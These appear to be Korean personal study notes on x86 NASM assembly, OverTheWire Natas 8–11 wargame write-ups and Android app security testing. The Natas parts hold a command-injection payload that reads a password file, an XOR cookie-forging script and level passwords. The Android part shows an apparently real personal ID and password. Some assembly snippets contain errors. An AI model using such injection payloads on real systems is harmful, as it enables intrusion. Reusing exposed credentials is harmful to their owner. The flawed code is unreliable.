반복문 : for , while


1.while

int cnt =10;


int main()

{

   while(cnt>0){

      printf("%d\n",cnt);

      cnt --;        // inc(++), dec(--)

      }

   return 0;

}


2.for문

int cnt =10;


int main()

{

   for( ;  cnt > 0 ; cnt --){

      printf("%d\n",cnt);

      cnt --;        // inc(++), dec(--)

      }

   return 0;

}


while 이랑 for문은 문장 구조만 다르지 실행되는 방식은 똑같다


extern printf


segment         .data

prompt_int      db      '%d',10,00

cnt                dd      10


segment         .text


global main


main:


while:

        cmp     dword [cnt], 0

        jle     end


        push    dword [cnt]

        push    prompt_int

        call    printf


        dec     dword [cnt]

        jmp     while


end:


[실습]


  -문자열을 입력받아서 거꾸로 출력하는 어셈블리 프로그램을 작성

-scanf, gets, fgets, ...


1. 알고리즘 

문자열을 배열로 입력받아서 반복문으로 출력한다


C코드 


char buffer[1024];

int length = 0;

int i = 0;


int main() {

  gets ( buffer );

  while( buffer[length] != '\0' ) {

    len++;

  }

  len--;

  for( i = length; i >= 0; i-- ) {

    printf("%c", buffer[i]);

  }

  printf("\n");

  return 0;

}



만약 abc를 입력받는다고 생각하면

1.buffer에 abc를 저장한다

buffer의 값이 null 값이 나올때 까지 len을 더해준다

0,1,2,null  

a,b,c,

그럼 len이 3이 된다

len을 -- 해서 1을 빼주고 

2에서

(i=2 이고 i 가 0보다 크거나 같을때 ,i --)

i가 2일때 printf buffer[2] -> c

i가 1일때 printf buffer[1] -> b

i가 0일때 printf buffer[0] -> a





extern printf

extern scanf


segment .data


string1 dd '%c',10,00

string2 dd 'input:',00

input   dd '%s',10,00

newline dd  '',10,00

length  dd      0

i       dd      0


segment .bss

buffer resb 1024


segment .text

global main



main:

        push string2

        call printf

        push buffer

        push input

        call scanf


while:

        mov    eax,dword [length]

        cmp    dword [buffer+eax], 0

        je       then

        inc      dword [length]

        jmp     while


then:

        dec      dword [length]

        mov     ebx,dword [length]

        mov     dword [i],ebx


then1:

        cmp     ebx ,0

        jl         end

        mov     edx, dword [buffer+ebx]

        push    edx

        push    string1

        call      printf

        dec      ebx

        jmp     then1


end:

        push newline

        call printf



실행 결과




[실습]

-정수 5개를 배열로 입력받아서 배열의 총합을 출력하는 프로그램을 작성


 #include <stdio.h>


int main()

{

 int i, arr[5],sum;

 printf("input:");

 for(i=0; i<=4; i++) {

  scanf("%d", &arr[i]);

 }

 sum=arr[0];


  for(i=1; i<5; i++){

        sum += arr[i];

     }


        printf("sum:%d",sum);

        return 0;

}





extern printf

extern scanf


segment .data

input   db      '%d', 00

output  db      '%d', 10, 00


segment .bss

arr  resd    10

i     resd    1

sum  resd    1


segment .text

global  main


main:

        mov     eax,            0

        mov     dword [sum], eax

        mov     dword [i],    eax


while:

        mov     eax,    dword [i]

        cmp     eax,    5

        je      then


        mov     edx,    arr

        mov     ecx,    dword [i]

        imul    ecx,    4

        add     edx,    ecx


        push    edx

        push    input

        call    scanf


        inc     dword [i]

        jmp     while



then:


        mov     eax,    0

        mov     dword [i],    eax




while1:


        mov     eax,    dword [i]

        cmp     eax,    5

        je      end

        mov     ecx,    dword [i]

        imul    ecx,    4

        mov     edx,    0

        mov     edx,    dword [arr + ecx]

        add     dword [sum], edx

        inc     dword [i]


        jmp     while1


end:

        push    dword [sum]

        push    output

        call    printf




형변환


1). 큰-> 작은

     int a = 10

     short b = a



2). 작은 -> 큰

     short a = 10

     int b = a

     

     movzx//부호가 없는경우 확장 

     movsx//부호가 있는 경우 확장 


음수 표현법

0000 0001

1111 1110(1의 보수)

1111 1111(2의 보수) = -1이다.


어셈블리는 C와 다르게 작은값에서 큰값으로 넘어갈때 형변환이 필요하다


extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text

global main


main:

        mov     dx,     10

        movzx   eax,    dx




관계 연산: >, <, =, <=, >=, !=

-cmp(compare)

-cmp vleft, vright ->eflags register

-sub  vleft, vright ,


! 메모리나 레지스터의 값을 변경하지 않는다.

! 플래그 레지스터에 반영


1). vleft가 큰 경우:양의 정수

-SF: 0, ZF: 0 -부호도 발생하지 않고 제로도 아니니까 둘다 00


2). vright가 큰경우:음의 정수

-SF: 1, ZF:0  -부호가 발생하고 제로는 아니니까 SF만 1 ZF 는 0

3). 같은 경우: 0

-SF: 0, ZF: 1 -부호가 발생하지 않고 제로니까 SF:0 ZF:1

ex)

extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text

global main


main:

        mov     eax,    20

        cmp     eax,    20



        pushfd

        push    prompt_int

        call    printf


SF,ZF를 확인 할 수 있는 방법은 pushfd 를 확인하고 계산기에서 자릿수를 확인한다


EFLAGS Register

Sign Flag(SF) -8번

Zero Flag(ZF) -7번



제어문: if, case (기계어 에서는 차이가 없다)


1). 무조건 분기:jmp


 -jmp 주소

 -jmp offset


ex)

extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

hello1          db      'first step', 10, 00

hello2          db      'second step',10, 00



segment         .bss

result          resd    1


segment         .text

global main


main:

        jmp  second

        push hello1

        call printf



second:

        push hello2

        call printf

 


2). 조건 분기


조건분기 종류를 살펴보면
 - je (jmp equal) = jz
 - jne (jmp not equal) = jnz
 - jl (jmp less)
 - jg (jmp greater)
 - jnl
 - jng
 - jle
 - jge
 - ja (jmp above) 초과
 - jb (jmp below) 미만
 - jna
 - jnb
 ...



   if (a < 10) {

printf("less then 10\n");

   }


ex)

extern printf

extern scanf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

string          db      'less then', 10, 00

input           db      '%d',00


segment         .bss

buffer         resd    1


segment         .text

global main


main:

        push    buffer

        push    input

        call    scanf


        cmp     dword [buffer],10 ;입력받은 결과와 10을 비교하고

        jl      if ;입력 받은 결과가 작으면 if 블록으로 이동하고

        jmp     end ;입력받은 결과가 크면 end로 무조건 분기한다


if:     push    string  

        call    printf


end:


ex)-같은 결과인데 좀더 합리적으로 표현해보면


extern printf

extern scanf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

string          db      'less then', 10, 00

input           db      '%d',00


segment         .bss

buffer         resd    1


segment         .text

global main


main:

        push    buffer

        push    input

        call    scanf


        cmp     dword [buffer],10

        jge     end ;크거나 같으면 end로 간다 


        push    string ;작으면 string이 출력된다. 

        call    printf


end:


조건 분기 if else 같이 사용해서


   if (a < 10) {

printf("less then 10\n");

   }else {

printf("bigger then 10\n");

  }


extern printf

extern scanf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

string1         db      'less then', 10, 00

string2          db     'bigger then', 10, 00

input           db      '%d',00


segment         .bss

buffer         resd    1


segment         .text

global main


main:

        push    buffer

        push    input

        call    scanf


        cmp     dword [buffer],10 ; cmp dword [buffer], 9

        jge     else                   ;  jg    else


then:

        push    string1

        call    printf

        jmp     end


else:

        push    string2

        call    printf


end:


3). 다중 조건


if( a< 10 && b > 1 && c == 5) {

printf("correct\n");

}

알고리즘


1.첫번째가 거짓이면 종료

2.첫번째가 참이면 두번째 조건까지 비교 거짓이면 종료

3.첫번째 두번째 조검이 참이면 세번째 조건까지 비교하고 거짓이면 종료


extern printf

extern scanf


segment         .data

prompt_int      db      'correct',10,00

prompt_int_int  db      '%d %d %d',10,10

input           db      '%d',00

string1         db      'a:%d',10,00

string2         db      'b:%d',10,00

string3         db      'c:%d',10,00



segment         .bss

a         resd    1

b         resd    1

c         resd    1


segment         .text

global main


main:

        push    a

        push    input

        call    scanf


        push    b

        push    input

        call    scanf


        push    c

        push    input

        call    scanf


        cmp     dword [a],10

        jl      then

        jmp     end


then:

        cmp     dword [b] ,1

        jg      else

        jmp     end


else:

        cmp     dword [c],5

        je      else1

        jmp     end


else1:

        push    prompt_int

        call    printf


end:



다중 조건 2

if( a< 10 || b > 1 || c == 5) {

printf("correct\n");

}


extern printf

extern scanf


segment         .data

prompt_int      db      'correct',10,00

prompt_int_int  db      '%d %d %d',10,10

input           db      '%d',00

string1         db      'a:%d',10,00

string2         db      'b:%d',10,00

string3         db      'c:%d',10,00



segment         .bss

a         resd    1

b         resd    1

c         resd    1


segment         .text

global main


main:

        push    a

        push    input

        call    scanf


        push    b

        push    input

        call    scanf


        push    c

        push    input

        call    scanf


        cmp     dword [a],10

        jl      else1

then:

        cmp     dword [b],1

        jg      else1


else:

        cmp     dword [c],5

        je      else1

        jmp     end

else1:

        push    prompt_int

        call    printf


end:




다중 조건 3

if( (a< 10 && b > 1) || c == 5) {

printf("correct\n");

}


알고리즘 


1.A가 참이면 correct

   1). a가 거짓이면 end

   2). a가 참이고 b도 참이면  A가 참


2.A도 거짓 B도 거짓이면 end


else1은 A가 참일때 분기 하는곳 

else 는 A가 거짓일때 분기하는 곳

else1 컬렉트를 출력하는 경우

end A,B 둘다 거짓일때


extern printf

extern scanf


segment         .data

prompt_int      db      'correct',10,00

prompt_int_int  db      '%d %d %d',10,10

input           db      '%d',00

string1         db      'a:%d',10,00

string2         db      'b:%d',10,00

string3         db      'c:%d',10,00



segment         .bss

a         resd    1

b         resd    1

c         resd    1


segment         .text

global main


main:

        push    a

        push    input

        call    scanf


        push    b

        push    input

        call    scanf


        push    c

        push    input

        call    scanf


        cmp     dword [a] ,10

        jl      then

        jmp     else


then:

        cmp     dword [b] ,1

        jg      else1

        jmp     else


else:

        cmp     dword [c],5

        je      else1

        jmp     end


else1:

        push    prompt_int

        call    printf



end:


 









NATAS11





현재 기본 데이터의 값은 위와 같다.

 if($data["showpassword"] == "yes") {

    print "The password for natas12 is <censored><br>";
}

data["showpassword"]의 값이 yes이면 패스워드가 출력될 것이다.

 function saveData($d) {

    setcookie("data", base64_encode(xor_encrypt(json_encode($d))));
}

쿠키는 위의 함수에 의해 생성된다.

 function xor_encrypt($in) {

    $key = '<censored>';
    $text = $in;
    $outText = '';

    // Iterate through each character
    for($i=0;$i<strlen($text);$i++) {
    $outText .= $text[$i] ^ $key[$i % strlen($key)];
    }

    return $outText;
}

XOR 암호화 함수는 위와 같이 정의되어 있다..

data["showpassword"]의 값을 yes로 주기 위해서 먼저 key의 값을 알아내야 한다.

 

setcookie("data", base64_encode(xor_encrypt(json_encode($d))));

쿠키 생성을 위한 함수의 실행 순서는 다음과 같다.

json_encode() -> xor_encrypt() -> base64_encode()

=> base64_decode()의 반환 값과 key를 XOR 연산하면 json_encode()의 반환 값이 나올 것이다.

 

★ XOR 연산(^)의 특징

A^B=C

A^C=B

-> 이 특징을 통해서

base64_decode()의 반환 값과 json_encode()의 반환 값을 XOR 연산하면 key 값이 나온다는 것을 알 수 있다.

 

개발자 도구에서 setcookie()에 의해 생성된 쿠키의 값을 확인하고 key를 구하기 위한 PHP 코드를 작성했다.


코드 //(키 값 구하는 코드) 

<?php

$defaultdata = json_encode(array( "showpassword"=>"no", "bgcolor"=>"#ffffff"));

$cookie = base64_decode("ClVLIh4ASCsCBE8lAxMacFMZV2hdVVotEhhUJQNVAmhSEV4sFxFeaAw=");


function xor_encrypt($in, $cookie) {

    $key = $cookie;

    $text = $in;

    $outText = '';


    for($i=0;$i<strlen($text);$i++) {

        $outText .= $text[$i] ^ $key[$i % strlen($key)];

    }


    return $outText;

}


print xor_encrypt($defaultdata, $cookie);


?>


쿠키값 구하는 코드 

   <?php

$defaultdata = json_encode(array( "showpassword"=>"yes", "bgcolor"=>"#ffffff"));


function xor_encrypt($in) {

    $key = qw8J;

    $text = $in;

    $outText = '';


    for($i=0;$i<strlen($text);$i++) {

        $outText .= $text[$i] ^ $key[$i % strlen($key)];

    }

    return $outText;

}

print base64_encode(xor_encrypt($defaultdata));

?>



NATAS10


소스 코드를 확인해보면



9번이랑 비슷한 문제인데. preg_match로 다중 명령어를 쓸 수 있는 값들을 막아두었다.


일반적으로 명령어를 실행하는 방법을 잘 생각해보면 리눅스 쉘에서 지원하지 않더라도 명령어를 구분할 수 있다.

grep -i ^ /etc/natas_webpass/natas11 dictionary.txt



U82q5TCMMQ9xuFoI3dYX61s7OZD9JKoK


source 또는. 은 후행 되어 오는 파일을 읽어서 파일 속의 내용을 실행하는 역할을 한다.


즉. source로 실행할 파일 내에는 bash에서 사용할 수 있는 명령을 사용하는데


만약 bash에서 사용할 수 없는 명령을 사용할 경우 에러 메시지를 띄우면서 종료된다.

NATAS9



우선 소스코드를 확인해 보니까



KEY 값을 입력하면 dictionary.txt 에서 grep 명령어를 이용해서 key 값에 해당하는 문자열을 출력해주는 구조이다


만약 a를 입력하면 



이런 식으로 a가 들어간 모든 단어를 출력하는 명령어이다.




우리는 이 명령어를 통해서 /etc/natas_webpass/natas10 파일에 접근해야 한다.




리눅스는 명령어 안에 명령어를 사용할 수 있으니까.


!다중 명령어: &&,||,;... 중 하나를 이용해서 문제를 풀었다.



;cat /etc/natas_webpass/natas10 입력해보니 답이 출력되었다.







NATAS 8번



INPUT SECRET 에 값을 넣으면 정답이 출력되는것 같다.


우선 소스코드를 확인해보니





A라는 값이 들어와서 64베이스 인코드를 하고 strrev 함수로 한번 뒤집고 bin2hex 함수로 16진수를 만든게 

3d3d516343746d4d6d6c315669563362 값이다.



이제 역순으로 하면 3d3d516343746d4d6d6c315669563362 를 일반 으로 바꾸고 

==QcCtmMml1ViV3b strrev 함수로 한번 뒤집고b3ViV1lmMmtCcQ==  64베이스 디코드 하면 값이 나온다 ->oubWYf2kBq



입력해주고 넣어주면 끝



W0mMhUcRRnG8dcghE4qvk3JA9lGt8nDl



!단위 (암기좀 하자)


byte unit C

1 (b)yte char

2 (w)ord short

4 (d)word int, float, pointer, ...

8 (q)word long long,double..

10 (t)enbyte



1. 연산자


1). 사칙연산: +,-,*,/


[주소+] ->주소 표현 내에서만 사용이 가능하다 


1-1). add 더하기

기본 사용법 



ModRM:reg (r, w) ModRM:r/m (r)

값을 둘다 읽어서 더한값을 r 앞에 쓴다

올림수 처리를 생각해 줘야한다


ex)

extern printf


segment         .data

prompt_int  db  '%d',10,00

a           dd   10

b           dd   20


segment         .bss


segment         .text


global main


main:

        mov     eax,    dword [a] //메모리값[a]를 eax에 저장한다

        add     eax,    dword [b] //메모리 값 [b]와 eax를 더해준다 


        push    eax

        push    prompt_int

        call    printf



덧셈에 대한 결과값 



1-2). sub 뺄셈


덧셈과 같은 방식으로 계산 해주면 된다


extern printf


segment         .data

prompt_int  db  '%d',10,00

a           dd   10

b           dd   20


segment         .bss


segment         .text


global main


main:

        mov     eax,    dword [a]

        sub     eax,    dword [b]


        push    eax

        push    prompt_int

        call    printf



1-3).mul 곱하기

피 연산자의 비트에 따라서 계산하는 방식이 달라진다

레지스터 구조와 mul 계산 방식 두가지를 참고해야하는데

mul 계산 방식은 각 비트에 맞게 아래 설명이 잘나와있다.



레지스터 구조를 한번더 확인해보면


16비트 일때는 AH,AL로 나눠서 쓰는걸 볼수있다.


피연산자가 8비트 일때는 

AX<-AL * r/m8 

extern printf


AL에 메모리,레지스터 피연산자 8비트를 곱해서 AX(16비트) 에 저장한다



segment         .data

prompt_int  db  '%d',10,00

a           db   2



segment         .bss


segment         .text


global main


main:


        mov     eax, 0 

        mov     al,  5  

        mul     byte [a]


        push    eax

        push    prompt_int

        call     printf


정확하게 확인할려면 eax를 0으로 초기화하고 한다


피연산자가 16비트 인 경우에는

Unsigned multiply (DX:AX ← AX ∗ r/m16).

AX에 16비트를 곱하면 DX와 AX에 값이 나누어 저장된다. 


9876 * 4500=4442000

  =0000 0010 1010 0110 0010 0001 1001 0000


dx:678        0000 00010 1010 0110

ax:8592       0010 0001 1001 0000



extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text


global main


main:

        mov     eax,0

        mov     edx,0


        mov     ax, 4500

        mul     word [a]


        push    eax

        push    edx

        push    prompt_int_int

        call    printf



곱셈에 대한 결과값



imul(부호가 있는)

피연산자가 2개인 경우에는 add랑 동일 

ModRM:reg (r, w) ModRM:r/m (r)


extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dd      9876




segment         .bss


segment         .text


global main


main:


        mov     eax, 10

        imul    eax, dword [a]


        push    eax

        push    prompt_int

        call    printf

               


피연산자가 3개인 경우에는 


ModRM:reg (r, w) ModRM:r/m (r) imm8/16/32


extern printf

segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dd      9876


segment         .bss


segment         .text


global main


main:


        mov     eax, 0

        imul    eax, dword [a], 10


        push    eax

        push    prompt_int

        call    printf

             


1-3).Div 나누기               

div -> 4바이트 / 4바이트 = 2바이트


피연산자가 8비트 나눗셈

Unsigned divide AX by r/m8, with result

stored in AL ← Quotient, AH ← Remainder.

AX에 있는 값을 r/m8 비트로 나눠준다 

몫은 AL 나머지는 AH에 저장한다


Unsigned divide AX by r/m8, with result

stored in AL ← Quotient, AH ← Remainder.


extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               db      7




segment         .bss


segment         .text


global main


main:


        mov     eax, 0

        mov     ax, 10

        cwd  ;convert word to byte

        ;cdw ;convert double word to word

        ;cdq ;convert double word to quad word

        div     byte [a]


        push    eax

        push    prompt_int

        call    printf



16비트 나눗셈은

Unsigned divide DX:AX by r/m16, with result

stored in AX ← Quotient, DX ← Remainder.


  44442000 / 7412

=0000 0010 1010 0110 0010 0001 1001 0000

=dx:678, ax:8592

extern printf

segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      7412


segment         .bss

segment         .text

global main


main:

        mov     eax, 0

        mov     edx, 0

        mov     dx, 678

        mov     ax, 8592

        cdw ;convert double word to word

        div     word [a]


        push    eax

        push    edx

        push    prompt_int_int

        call    printf


나눗셈 결과





idiv



2). 비교연산


3). 논리연산 : and, or, xor 


1 and 0:0

1 or   0:1

xor 값을 초기화 할때 많이 쓴다

xor eax, eax

0으로 초기화 된다


4). 비트 연산: shift


-비트를 왼쪽/오른쪽으로 이동

곱셈

9876 * 4500=4442000

  =0000 0010 1010 0110 0010 0001 1001 0000


dx:678        0000 0010 1010 0110

ax:8592       0010 0001 1001 0000


만약 dx를 왼쪽으로 16비트 이동하고

dx:0000 0010 1010 0110 0000 0000 0000 0000

ax:0000 0000 0000 0000 0010 0001 1001 0000

+ 더해주면


4442000:0000 0010 1010 0110 0010 0001 1001 0000 값이 출력된다


ax와 그 값을 합치면 곱셈을 하지 않아도 결과 값이 출력된다


명령어는 shl,shr


[root@korea /root]# vi basic.asm

extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text


global main


main:

        mov     eax,0

        mov     edx,0


        mov     ax,     4500

        mul     word [a]


        mov     dword [result], edx

        shl     dword [result], 16

        add     dword [result], eax


        push    dword [result]

        push    prompt_int

        call    printf



비트 연산을 할때는 부호를 생각해서 연산을 해주어야 한다.


extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text

global main


main:

        xor     edx,    edx

        mov     dl,     -2

        shl     dl,     2

        shl     dl,     2


        push    edx

        push    prompt_int

        call    printf




결과는 맞지않는 값이 출력된다


산술 시프트인 sar sal 을 이용해서 값을 구하면 정확한 값이 출력된다




extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text

global main


main:

        xor     edx,    edx


        mov     edx,    -2

        sal     edx,    2

        sar     edx,    2


        push    edx

        push    prompt_int

        call    printf




나눗셈

  44442000 / 7412

=0000 0010 1010 0110 0010 0001 1001 0000

  0000 0000 0000 0000 1111 1111 1111 1111 and

=dx:678, ax:8592


extern printf


segment         .data

prompt_int      db      '%d',10,00

prompt_int_int  db      '%d %d',10,10

a               dw      9876


segment         .bss

result          resd    1


segment         .text


global main


main:

        mov     eax,0

        mov     edx,0


        mov     ax,     4500

        mul     word [a]


        mov     dword [result], edx

        shl     dword [result], 16

        add     dword [result], eax


        push    dword [result]

        push    prompt_int

        call    printf


        mov     edx,    dword [result]

        shr     edx,    16


        mov     eax,    dword[result]

        and     eax,    00000000000000001111111111111111b

        ;and     eax,    0000ffffh

        ;and     eax,    65535

        cdw

        div     word [a]


        push    edx

        push    eax

        push    prompt_int_int

        call    printf



[실습]

-두 수를 입력 받아서 사칙연산 결과를 출력하는 

어셈블리 프로그램 작성


-! 나눗셈은 몫과 나머지를 출력


   - 최대로 받을수 있는 수는 int 형이니까 레지스터는 전부 eax,edx 등을 사용해서 계산하였다.


  - 위에 기본을 배우려고 8비트 일 때16비트일 때 나누어서 생각했지만 일반적으로 계산할 때는 편의성을 위해 eax를 사용해서 32비트로 계산한다. 요즘 cpu가 이 정도 잡는다고 성능이 떨어지거나 하지 않기 때문이다




extern printf

extern scanf


segment .data

string1 db 'a+b:%d',10,00

string2 db 'a-b:%d',10,00

string3 db 'a*b:%d',10,00

string4 db 'a/b:%d %d',10,00

input dd '%d',00


segment .bss

a resd  4

b resd  4


segment .text

global main



main:

        push a

        push input

        call scanf


        push b

        push input

        call scanf


        mov eax,0

        mov eax, dword [a]

        add eax, dword [b]

        push eax

        push string1

        call printf


        mov eax,0

        mov eax,dword [a]

        sub eax,dword [b]

        push eax

        push string2

        call printf


        mov eax,0

        mov eax,dword [a]

        mul dword [b]

        push eax

        push string3

        call printf


        mov eax,0

        mov edx,0

        mov eax,dword [a]

        div dword [b]


        push edx

        push eax

        push string4

        call printf









! 레이블 Vs 변수.


1.주소 Vs 메모리


-포인터:메모리에 대한 직접 접근이 가능

-변수를 선언해서 사용하지 않는다.

-메모리를 직접 사용한다


1). 주소


-메모리상의 위치

-파일 오프셋과 동일한 의미

-정수


2).메모리


-데이터가 들어있는 실제 메모리

-메모리를 나타낼려면 []를 사용해서 씌어주면 된다

-[apple] 이렇게면 주소에 해당하는 메모리 를 가지고온다 

-피 연산자가 메모리로 오는 경우에는 크기를 꼭 적어주어야 한다

ex)push dword [apple]




실습//진짜 중요// 개념을 확실히 하고 넘어가야한다


C언어 -> 어셈블리어 실습

주소와 메모리의 차이를 이해하고 넘어가야한다.



C코드

int a;

int b;


int main()

{

    scanf("%d",&a); ->주소

    scanf("%d",&b); ->주소


    printf("a:%d\n",a); ->메모리

    printf("b:%d\n",b); ->메모리


    return 0;

}


어셈블리 코드

extern printf

extern scanf


segment .data

string1 db 'a:%d',10,00

string2 db 'b:%d',10,00

avg db '%d %d',00


segment .bss

a resd  1

b resd  1



segment .text

global main



main:

        push b //주소 b 넣고

        push a // 주소 a 넣고

        push avg //주소 a b 입력받아서 넣을 string 문자 넣고

        call scanf // scanf 해준다


        push dword [a] //a주소에 있는 메모리값 가지고오고

        push string1 // 문자열 가지고오고

        call printf // 프린트해준다


        push dword [b] //b 주소에 있는 메모리값 가지고오고

        push string2//문자열 

        call printf// 프린트해준다





INTEL IA32 Architecture


-instruction set

-register


1.Register


CPU가 사용하는

-아주 빠른 기억장소

-고속의 기억 장치

-용도별로 여러개의 레지스터가 존재



1). 범용 레지스터:EAX, EBX, ECX, EDX (각각의 레지스터의 크기는 32bit)

EAX(Extended Accumulator Resgister) //사칙 계산 할때

EBX(Extended Base Resgister)

ECX(Extended Counter Resgister)//반복되는 횟수 (루프에서) 넣을때
EDX(Extended Data Resgister)

EBX,EDX-> 보조적인 형태로 사용

꼭 맞는 용도에서만 사용하는건 아니다. 쉽게 말하면 아무때나 사용이 가능하다


2). 포인터 레지스터:ESI, EDI, EBP, ESP, EIP ->레지스터 안에 값들을 전부 주소로 인식한다.


ESI(Extended Source Index)

EDI(Extended Dst. Index)


EBP(Extended Base Pointer)

ESP(Extended Stack Pointer)
EIP(Extended Instruction Pointer)

3). 플래그 레지스터:EFLAGS

-프로세스에 대한 상태 정보를 나타낸다.





4). 세그먼트 레지스터:CS, DS, SS, ES, ....(각각의 레지스터 크기는 16bit)



입출력이 빠르다

레지스터 >> 메모리(주 기억 장치 ) >> 보조 기억장치(디스크,USB,..)



크기를 잘 알아야 한다 



용량을 나누어 사용할 수 있는데 EAX는 32비트를 다 사용한다는 소리 이고 AX는 16비트를 사용한다는 소리인데 

AX는 또 AH,AL로 8비트씩 나누어 사용할 수 있다는걸 표현한다



! 앞으로 프로그램을 만들면서는 두가지의 기억장치를 사용해야 한다 (레지스터,메모리)



2. 명령어


1). 데이터 복사: MOV

ex)

-int a=1

-두 피연산자가 모두 메모리가 올 수 없다.


88 /r       MOV r/m8,r8 (첫번째 피연산자는 r레지스터/m메모리 둘중 하나가 올수 있다,두번째 피 연산자는  레지스터를 사용해야한다)

표를 보면 이런식으로 쭉 있는데 첫번째 두번째 연산자가 둘다 M 메모리가 올 수 없다.


imm-> 상수 표현법 




연습 


extern printf


segment         .data

prompt_int      '%d',10,00


segment         .bss


segment         .text


global main


main:


        mov  eax, 100   //첫번째 피연산자는 eax 레지스터 두번째 피연산자는 100 상수

        push eax //eax에 넣어주고 

        push prompt_int //문자열을 불러온다

        call printf //출력해준다






실습-위에서 했던 출력문을  a,b 가 바뀌어서 출력되도록 바꾸기


#> ./test

10

20

a: 10

b: 20



#> ./test

10

20

a:20

b:10



mov의 기본 설정을 이용해서 코딩을 해야하는데  mov는 메모리,메모리 롤 저장할 수 가 없다.

따라서 레지스터를 2개 이용해서 값을 저장하고 옮겨주어야 한다



extern printf

extern scanf


segment .data

string1 db 'a:%d',10,00

string2 db 'b:%d',10,00

input db '%d',00


segment .bss

a resd  1

b resd  1

c resd  1


segment .text

global main



main:

        push a

        push input

        call scanf


        push b

        push input

        call scanf


        mov ebx,dword [b]

        mov eax,dword [a]

        mov dword [b],eax

        mov dword [a],ebx


        push dword [a]

        push string1

        call printf


        push dword [b]

        push string2

        call printf






window7 에서 지니 모션을 이용하여 안드로이드 파일 설정 


아이디:jeonminyong

비밀번호:gkdl43121938


안드로이드 구조


취약점 찾는건 보통 APPLICATIONS ,APPLICATION FRAMEWORK 에서 찾게 된다


응용 프로그램의 권한 관리

-안드로이드에 설치된 모든 응용프로그램은 일반 사용자 권한으로 실행됨

-응용 프로그램이 사용자의 데이터에 접근할 때 모든 사항을 응용프로그램 사양에 명시

-접근 시 사용자의 동의를 받도록 하고있음

-모든 응용 프로그램은 설치 시 자신의 고유한 사용자 ID를 할당 받아서 동작



안드로이드 루팅을 해서 디렉토리를 확인해보면


디렉토리를 확인할 수 있다.


안드로이드 앱 설치






#>adb logcat -실시간으로 값들을 확인할 수 있다.





python app.py로 서버를 연결하고

jack


Jack@123$

아이디 비밀번호 설정하면 로그인이 완료된다




안드로이드 어플 설치할려면

https://apkpure.com/

여기서 검색 하면 된다.







취약점



1.logcat에 중요정보가 평문으로 나오면 안된다




2.internal Storage(내부 저장소)-접근 X

중요 정보를 설정할 수 밖에 없다.

조건> 꼭 안전한 암호화, 토큰 방식

sha25 이상 




-database :앱에 필요한 정보 저장. sqlite db 저장. ex) test.db

-cache

-lib:라이브러리,so파일 저장,c,c++로 컴파일된 파일(분석하기 까다롭다)

-files:앱에 필요한 기타 파일

-shared_prefs: 설정 파일이 포함 

.....


#cd databases




안에 정보를 확인하고 싶으면

SQLite 로 확인해야하는데 adb를 사용해서 pull 해준 다음에 불러와서 확인할 수 있다.




#cd shared_prefs




개인 정보를 확인할 수 있다.





아이디만 안다고 취약점? 이라고 생각할 수 있는데 이 정보를 가지고 자동로그인등 변조가 가능하면 이건 취약점이다


그래서 키 관리가 중요하다 암호화 방식에 대해서


기술 안내서를 참고해서 적어준다.



External Storage(외부 저장소)


누구나 접근이 가능한곳 중요한 정보가 있으면 안된다.


Statements_jack.html 정보를 확인해보면 거래 내역이 있다.(취약점)






apk->dex->smali->class->java








segment .data

string  db      'hello,world!!!',10,00


#>cat hello2.asm

segment .text

global _start

_start:

mov eax, 4

mov ebx, 1

mov ecx, string

mov edx, 16

int 0x80





어셈블리로 컴파일한 hello2 elf 헤더 내용을 살펴보면 


#>objdump -x hello2

hello2:     file format elf32-i386

hello2

architecture: i386, flags 0x00000112:

EXEC_P, HAS_SYMS, D_PAGED

start address 0x08048080//실행파일이 메모리에 올라가면 가상 메모리에서 시작 위치를 나타낸다.처음 어느정도의 메모리는 사용하지 않는다(메모리상의 주소)


Program Header:

    LOAD off    0x00000000 vaddr 0x08048000 paddr 0x08048000 align 2**12

         filesz 0x00000096 memsz 0x00000096 flags r-x   0804800부터 150바이트를 차지한다 총 2의 12승 4K의 공간을 차지하는데 150바이트 빼고는 나머지는 패딩으로 채워진다 (flags r-x 권한을 보면 여기가 text인걸 알수있다.)


    LOAD off    0x00000098 vaddr 0x08049098 paddr 0x08049098 align 2**12 파일상에서 옵셋은 98 가상에서는 9098이다. 위의 4800 보다 4K 떨어져 있는 위치에 존재한다. 기본 정렬 단위는 4K  (flags rw- 권한을 보면 읽고 쓸수 있다) 

         filesz 0x00000010 memsz 0x00000010 flags rw-  일 크기는 hello world 만큼의 크기이다. 이 크기를 제외한 4k에서 남는부분은 패딩 된다 


Sections:

Idx Name          Size      VMA       LMA       File off  Algn

  0 .text         00000016  08048080  08048080  00000080  2**4

                  CONTENTS, ALLOC, LOAD, READONLY, CODE

  1 .data         00000010  08049098  08049098  00000098  2**2

                  CONTENTS, ALLOC, LOAD, DATA

  2 .bss          00000000  080490a8  080490a8  000000a8  2**0

                  CONTENTS

  3 .comment      0000001f  00000000  00000000  000000a8  2**0

                  CONTENTS, READONLY



실행파일을 분석할줄 알아야한다 

위의 heade 내용을 찾아보면


여기 까지가 헤더 내용인걸 알수있다.

